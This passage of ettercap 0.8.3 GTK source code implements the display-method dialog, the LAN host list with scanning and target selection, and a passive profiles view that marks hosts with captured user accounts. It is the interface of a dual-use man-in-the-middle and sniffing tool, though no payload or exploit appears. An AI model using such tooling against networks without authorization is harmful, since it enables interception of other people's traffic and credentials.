(prev), "Strip all the html tags from the text. A tag is every string between < and >."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "html") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; /* start UTF8 */ button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Convert the data from the encoding specified below to UTF8 before displaying it."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "utf8") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 6, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); label = gtk_label_new ("Character encoding : "); gtk_box_pack_start (GTK_BOX (hbox), label, FALSE, FALSE, 0); /* Fill a list of available encodings */ lang_list = gtk_list_store_new(1, G_TYPE_STRING); /* get the system's default encoding, and if it's not UTF8, add it to the list */ if(!g_get_charset(&local_lang)) { snprintf(def_lang, 75, "%s (System Default)", local_lang); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, def_lang, -1); } /* some other common encodings */ gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "UTF-8", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "EBCDIC-US (IBM)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-15 (Western Europe)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-2 (Central Europe)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-7 (Greek)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-8 (Hebrew)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-8859-9 (Turkish)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "ISO-2022-JP (Japanese)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "SJIS (Japanese)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "CP949 (Korean)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "CP1251 (Cyrillic)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "CP1256 (Arabic)", -1); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, "GB18030 (Chinese)", -1); /* make a drop down box and assign the list to it */ lang_combo = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(lang_combo), GTK_TREE_MODEL(lang_list)); /* list is stored in the widget, can safely free this copy */ g_object_unref(lang_list); /* end UTF8 */ cell = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(lang_combo), cell, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(lang_combo), cell, "text", 0, NULL); gtk_combo_box_set_active(GTK_COMBO_BOX(lang_combo), 0); gtk_box_pack_start (GTK_BOX(hbox), lang_combo, TRUE, TRUE, 0); gtk_widget_show_all(vbox); response = gtk_dialog_run(GTK_DIALOG (dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); /* see which button was clicked */ active = 0; for(curr = gtk_radio_button_get_group(GTK_RADIO_BUTTON (button)); curr; curr = curr->next) { active++; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (curr->data))) break; } /* set vmethod string */ int i=0; memset(vmethod, 0, VLEN); switch(active) { case 6: strncpy(vmethod, "hex", 3); break; case 5: strncpy(vmethod, "ascii", 5); break; case 4: strncpy(vmethod, "text", 4); break; case 3: strncpy(vmethod, "ebcdic", 6); break; case 2: strncpy(vmethod, "html", 4); break; case 1: /* utf8 */ /* copy first word from encoding choice */ gtk_combo_box_get_active_iter(GTK_COMBO_BOX(lang_combo), &iter); model = gtk_combo_box_get_model(GTK_COMBO_BOX(lang_combo)); gtk_tree_model_get(model, &iter, 0, &selected_lang, -1); i=sscanf(selected_lang, "%[^ ]", encoding); BUG_IF(i!=1); if(strlen(encoding) > 0) { strncpy(vmethod, "utf8", 4); set_utf8_encoding(encoding); break; } default: strncpy(vmethod, "ascii", 5); } set_format(vmethod); } gtk_widget_destroy(dialog); } /* * set the visualization regex */ void gtkui_vis_regex(void) { DEBUG_MSG("gtk_vis_regex"); gtkui_input("Visualization regex :", vregex, RLEN, gtkui_set_regex); } static void gtkui_set_regex(void) { set_regex(vregex); } /* * set the Wifi key */ void gtkui_wifi_key(void) { DEBUG_MSG("gtk_wifi_key"); gtkui_input("WiFi key :", wkey, WLEN, gtkui_set_wifikey); } static void gtkui_set_wifikey(void) { wifi_key_prepare(wkey); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_hosts.c0000644000175000017500000003303413505247364021516 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void load_hosts(const char *file); static void save_hosts(void); static void gtkui_hosts_destroy(void); static void gtkui_button_callback(GtkWidget *widget, gpointer data); static void gtkui_hosts_detach(GtkWidget *child); static void gtkui_hosts_attach(void); /* globals */ static GtkWidget *hosts_window = NULL; static GtkTreeSelection *selection = NULL; static GtkListStore *liststore = NULL; enum { HOST_DELETE, HOST_TARGET1, HOST_TARGET2 }; /*******************************************/ #ifdef WITH_IPV6 void toggle_ip6scan(void) { if (EC_GBL_OPTIONS->ip6scan) { EC_GBL_OPTIONS->ip6scan = 0; } else { EC_GBL_OPTIONS->ip6scan = 1; } } #endif /* * scan the lan for hosts */ void gtkui_scan(void) { /* no target defined... force a full scan */ if (EC_GBL_TARGET1->all_ip && EC_GBL_TARGET2->all_ip && EC_GBL_TARGET1->all_ip6 && EC_GBL_TARGET2->all_ip6 && !EC_GBL_TARGET1->scan_all && !EC_GBL_TARGET2->scan_all) { EC_GBL_TARGET1->scan_all = 1; EC_GBL_TARGET2->scan_all = 1; } /* perform a new scan */ build_hosts_list(); } /* * display the file open dialog */ void gtkui_load_hosts(void) { GtkWidget *dialog; gchar *filename; int response = 0; DEBUG_MSG("gtk_load_hosts"); dialog = gtk_file_chooser_dialog_new("Select a hosts file...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OPEN, GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), ""); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); load_hosts(filename); gtkui_refresh_host_list(NULL); g_free(filename); } gtk_widget_destroy (dialog); } static void load_hosts(const char *file) { char *tmp; char current[PATH_MAX]; DEBUG_MSG("load_hosts %s", file); SAFE_CALLOC(tmp, strlen(file)+1, sizeof(char)); /* get the current working directory */ getcwd(current, PATH_MAX); /* we are opening a file in the current dir. * use the relative path, so we can open files * in the current dir even if the complete path * is not traversable with ec_uid permissions */ if (!strncmp(current, file, strlen(current))) snprintf(tmp, strlen(file)+1,"./%s", file+strlen(current)); else snprintf(tmp, strlen(file), "%s", file); DEBUG_MSG("load_hosts path == %s", tmp); /* wipe the current list */ del_hosts_list(); /* load the hosts list */ scan_load_hosts(tmp); SAFE_FREE(tmp); gtkui_host_list(); } /* * display the write file menu */ void gtkui_save_hosts(void) { #define FILE_LEN 40 GtkWidget *dialog; gchar *filename; DEBUG_MSG("gtk_save_hosts"); SAFE_FREE(EC_GBL_OPTIONS->hostsfile); SAFE_CALLOC(EC_GBL_OPTIONS->hostsfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save hosts to file...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_SAVE, GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_widget_destroy(dialog); memcpy(EC_GBL_OPTIONS->hostsfile, filename, FILE_LEN); g_free(filename); save_hosts(); } else { gtk_widget_destroy(dialog); } } static void save_hosts(void) { FILE *f; /* check if the file is writeable */ f = fopen(EC_GBL_OPTIONS->hostsfile, "w"); if (f == NULL) { ui_error("Cannot write %s", EC_GBL_OPTIONS->hostsfile); SAFE_FREE(EC_GBL_OPTIONS->hostsfile); return; } /* if ok, delete it */ fclose(f); unlink(EC_GBL_OPTIONS->hostsfile); scan_save_hosts(EC_GBL_OPTIONS->hostsfile); } /* * display the host list */ void gtkui_host_list(void) { GtkWidget *scrolled, *treeview, *vbox, *hbox, *button, *item, *context_menu; GtkCellRenderer *renderer; GtkTreeViewColumn *column; static gint host_delete = HOST_DELETE; static gint host_target1 = HOST_TARGET1; static gint host_target2 = HOST_TARGET2; DEBUG_MSG("gtk_host_list"); if(hosts_window) { if(GTK_IS_WINDOW (hosts_window)) gtk_window_present(GTK_WINDOW (hosts_window)); else gtkui_page_present(hosts_window); return; } hosts_window = gtkui_page_new("Host List", >kui_hosts_destroy, >kui_hosts_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER (hosts_window), vbox); gtk_widget_show(vbox); scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("IP Address", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("MAC Address", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Description", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* populate the list or at least allocate a spot for it */ gtkui_refresh_host_list(NULL); /* set the elements */ gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore)); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, TRUE); gtk_box_pack_start(GTK_BOX (vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("_Delete Host"); gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_delete); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("Add to Target _1"); gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_target1); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("Add to Target _2"); gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_target2); gtk_widget_show(button); context_menu = gtk_menu_new(); item = gtk_menu_item_new_with_label("Add to Target 1"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_button_callback), &host_target1); gtk_widget_show(item); item = gtk_menu_item_new_with_label("Add to Target 2"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_button_callback), &host_target2); gtk_widget_show(item); item = gtk_menu_item_new_with_label("Delete host"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_button_callback), &host_delete); gtk_widget_show(item); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); gtk_widget_show(hosts_window); } static void gtkui_hosts_detach(GtkWidget *child) { hosts_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (hosts_window), "Hosts list"); gtk_window_set_default_size(GTK_WINDOW (hosts_window), 400, 300); g_signal_connect (G_OBJECT (hosts_window), "delete_event", G_CALLBACK (gtkui_hosts_destroy), NULL); gtk_container_add(GTK_CONTAINER (hosts_window), child); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(hosts_window, gtkui_hosts_attach); gtk_window_present(GTK_WINDOW (hosts_window)); } static void gtkui_hosts_attach(void) { /* destroy the current window */ gtkui_hosts_destroy(); /* recreate the tab */ gtkui_host_list(); } void gtkui_hosts_destroy(void) { gtk_widget_destroy(hosts_window); hosts_window = NULL; } /* * populate the list */ gboolean gtkui_refresh_host_list(gpointer data) { GtkTreeIter iter; struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; /* avoid warning */ (void)data; DEBUG_MSG("gtk_refresh_host_list"); /* The list store contains a 4th column that is NOT displayed by the treeview widget. This is used to store the pointer for each entry's structure. */ if(liststore) gtk_list_store_clear(GTK_LIST_STORE (liststore)); else liststore = gtk_list_store_new (4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); /* walk the hosts list */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { /* enlarge the list */ gtk_list_store_append (liststore, &iter); /* fill the element */ gtk_list_store_set (liststore, &iter, 0, ip_addr_ntoa(&hl->ip, tmp), 1, mac_addr_ntoa(hl->mac, tmp2), 3, hl, -1); if (hl->hostname) { gtk_list_store_set (liststore, &iter, 2, hl->hostname, -1); } else { /* resolve the hostname (using the cache) */ if(host_iptoa(&hl->ip, name) == -E_NOMATCH) { gtk_list_store_set(liststore, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(liststore); ro->treeiter = iter; ro->column = 2; ro->ip = &hl->ip; g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else gtk_list_store_set (liststore, &iter, 2, name, -1); } } /* return FALSE so that g_idle_add() only calls it once */ return FALSE; } void gtkui_button_callback(GtkWidget *widget, gpointer data) { GList *list; GtkTreeIter iter; GtkTreeModel *model; char tmp[MAX_ASCII_ADDR_LEN]; struct hosts_list *hl = NULL; gint *type = data; /* variable not used */ (void) widget; if (type == NULL) return; model = GTK_TREE_MODEL (liststore); if(gtk_tree_selection_count_selected_rows(selection) > 0) { list = gtk_tree_selection_get_selected_rows (selection, &model); for(list = g_list_last(list); list; list = g_list_previous(list)) { gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get(model, &iter, 3, &hl, -1); switch(*type) { case HOST_DELETE: DEBUG_MSG("gtkui_button_callback: delete host"); gtk_list_store_remove(GTK_LIST_STORE (liststore), &iter); /* remove the host from the list */ LIST_REMOVE(hl, next); SAFE_FREE(hl->hostname); SAFE_FREE(hl); break; case HOST_TARGET1: DEBUG_MSG("gtkui_button_callback: add target1"); /* add the ip to the target */ add_ip_list(&hl->ip, EC_GBL_TARGET1); gtkui_create_targets_array(); USER_MSG("Host %s added to TARGET1\n", ip_addr_ntoa(&hl->ip, tmp)); break; case HOST_TARGET2: DEBUG_MSG("gtkui_button_callback: add target2"); /* add the ip to the target */ add_ip_list(&hl->ip, EC_GBL_TARGET2); gtkui_create_targets_array(); USER_MSG("Host %s added to TARGET2\n", ip_addr_ntoa(&hl->ip, tmp)); break; } } /* free the list of selections */ g_list_foreach (list,(GFunc) gtk_tree_path_free, NULL); g_list_free (list); } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_view_profiles.c0000644000175000017500000005626013505247364023241 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* proto */ static void gtkui_profiles_detach(GtkWidget *child); static void gtkui_profiles_attach(void); static void gtkui_kill_profiles(void); static gboolean refresh_profiles(gpointer data); static void gtkui_profile_detail(void); static void gtkui_profile_detail_destroy(GtkWidget *widget, gpointer *data); static void gtkui_profiles_local(void); static void gtkui_profiles_remote(void); static void gtkui_profiles_convert(void); static void gtkui_profiles_dump(void *dummy); static void dump_profiles(void); static struct host_profile *gtkui_profile_selected(void); /* globals */ static char *logfile = NULL; static GtkWidget *profiles_window = NULL; static GtkWidget *treeview = NULL; static GtkTreeSelection *selection = NULL; static GtkListStore *ls_profiles = NULL; static guint profiles_idle; /* for removing the idle call */ static guint detail_timer = 0; /*******************************************/ /* * the auto-refreshing list of profiles */ void gtkui_show_profiles(void) { GtkWidget *scrolled, *vbox, *hbox, *button; GtkCellRenderer *renderer; GtkTreeViewColumn *column; DEBUG_MSG("gtk_show_profiles"); /* if the object already exist, set the focus to it */ if(profiles_window) { if(GTK_IS_WINDOW (profiles_window)) gtk_window_present(GTK_WINDOW (profiles_window)); else gtkui_page_present(profiles_window); return; } profiles_window = gtkui_page_new("Profiles", >kui_kill_profiles, >kui_profiles_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER (profiles_window), vbox); gtk_widget_show(vbox); /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_profile_detail), NULL); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("IP Address", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Hostname", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #ifdef HAVE_GEOIP renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Country", renderer, "text", 3, NULL); gtk_tree_view_column_set_sort_column_id (column, 3); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #endif refresh_profiles(NULL); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (ls_profiles)); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("Purge _Local"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_local), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Purge _Remote"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_remote), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); button = gtk_button_new_with_mnemonic("_Convert to Host List"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_convert), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("_Dump to File"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_dump), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); /* refresh the stats window every 1000 ms */ /* GTK has a gtk_idle_add also but it calls too much and uses 100% cpu */ profiles_idle = g_timeout_add(1000, refresh_profiles, NULL); gtk_widget_show(profiles_window); } static void gtkui_profiles_detach(GtkWidget *child) { profiles_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (profiles_window), "Collected passive profiles"); gtk_window_set_default_size(GTK_WINDOW (profiles_window), 400, 300); g_signal_connect (G_OBJECT (profiles_window), "delete_event", G_CALLBACK (gtkui_kill_profiles), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(profiles_window, gtkui_profiles_attach); gtk_container_add(GTK_CONTAINER (profiles_window), child); gtk_window_present(GTK_WINDOW (profiles_window)); } static void gtkui_profiles_attach(void) { gtkui_kill_profiles(); gtkui_show_profiles(); } static void gtkui_kill_profiles(void) { DEBUG_MSG("gtk_kill_profiles"); g_source_remove(profiles_idle); gtk_widget_destroy(profiles_window); profiles_window = NULL; } static gboolean refresh_profiles(gpointer data) { GtkTreeIter iter; GtkTreeModel *model; gboolean gotiter = FALSE; struct host_profile *hcurr, *hitem; struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; int found = 0; /* variable not used */ (void) data; if(!ls_profiles) { ls_profiles = gtk_list_store_new (5, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); } /* get iter for first item in list widget */ model = GTK_TREE_MODEL(ls_profiles); gotiter = gtk_tree_model_get_iter_first(model, &iter); TAILQ_FOREACH(hcurr, &EC_GBL_PROFILES, next) { /* see if the item is already in our list */ gotiter = gtk_tree_model_get_iter_first(model, &iter); while(gotiter) { gtk_tree_model_get (model, &iter, 4, &hitem, -1); if(hcurr == hitem) { found = 0; /* search at least one account */ LIST_FOREACH(o, &(hcurr->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { found = 1; } } gtk_list_store_set (ls_profiles, &iter, 0, (found)?"X":" ", -1); /* check if we have to update the hostname */ if (strcmp(hcurr->hostname,"")) { gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } else { /* resolve the hostname (using the cache) */ if (host_iptoa(&hcurr->L3_addr, name) == -E_NOMATCH) { gtk_list_store_set(ls_profiles, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(ls_profiles); ro->treeiter = iter; ro->column = 2; ro->ip = &hcurr->L3_addr; g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { strncpy(hcurr->hostname, name, MAX_HOSTNAME_LEN); gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } } break; } gotiter = gtk_tree_model_iter_next(model, &iter); } /* if it is, move on to next item */ if(gotiter) continue; found = 0; /* search at least one account */ LIST_FOREACH(o, &(hcurr->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { found = 1; } } /* otherwise, add the new item */ gtk_list_store_append (ls_profiles, &iter); gtk_list_store_set (ls_profiles, &iter, 0, (found)?"X":" ", 1, ip_addr_ntoa(&hcurr->L3_addr, tmp), 4, hcurr, -1); #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) gtk_list_store_set(ls_profiles, &iter, 3, geoip_country_by_ip(&hcurr->L3_addr), -1); #endif /* treat hostname resolution differently due to async processing */ if (strcmp(hcurr->hostname,"")) { gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } else { /* resolve the hostname (using the cache) */ if (host_iptoa(&hcurr->L3_addr, name) == -E_NOMATCH) { gtk_list_store_set(ls_profiles, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(ls_profiles); ro->treeiter = iter; ro->column = 2; ro->ip = &hcurr->L3_addr; g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { strncpy(hcurr->hostname, name, MAX_HOSTNAME_LEN); gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } } } return TRUE; } /* * display details for a profile */ static void gtkui_profile_detail(void) { GtkWidget *dwindow, *vbox, *hbox, *table, *label, *button; struct host_profile *h; struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; char os[OS_LEN+1]; gchar *str, *markup; guint nrows = 2, ncols = 3, col = 0, row = 0; DEBUG_MSG("gtkui_profile_detail"); h = gtkui_profile_selected(); memset(os, 0, sizeof(os)); dwindow = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW(dwindow), "Profile Details"); gtk_window_set_modal(GTK_WINDOW(dwindow), TRUE); gtk_window_set_transient_for(GTK_WINDOW(dwindow), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dwindow), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER(dwindow), 5); g_signal_connect(G_OBJECT(dwindow), "delete-event", G_CALLBACK(gtkui_profile_detail_destroy), NULL); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 5, FALSE); gtk_container_add(GTK_CONTAINER(dwindow), vbox); table = gtk_table_new(nrows, ncols, FALSE); gtk_table_set_row_spacings(GTK_TABLE(table), 5); gtk_table_set_col_spacings(GTK_TABLE(table), 5); gtk_container_set_border_width(GTK_CONTAINER(table), 8); gtk_box_pack_start(GTK_BOX(vbox), table, FALSE, FALSE, 0); /* Host Information */ label = gtk_label_new("Host Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); row++; label = gtk_label_new("IP address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(ip_addr_ntoa(&h->L3_addr, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); if (EC_GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Hostname:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(h->hostname); if (!strcmp(h->hostname,"")) { /* resolve the hostname (using the cache) */ if (host_iptoa(&h->L3_addr, h->hostname) == -E_NOMATCH) { gtk_label_set_text(GTK_LABEL(label), "resolving..."); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); ro->type = GTK_TYPE_LABEL; ro->widget = GTK_WIDGET(label); ro->ip = &h->L3_addr; detail_timer = g_timeout_add(1000, gtkui_iptoa_deferred, ro); } else { gtk_label_set_text(GTK_LABEL(label), h->hostname); } } 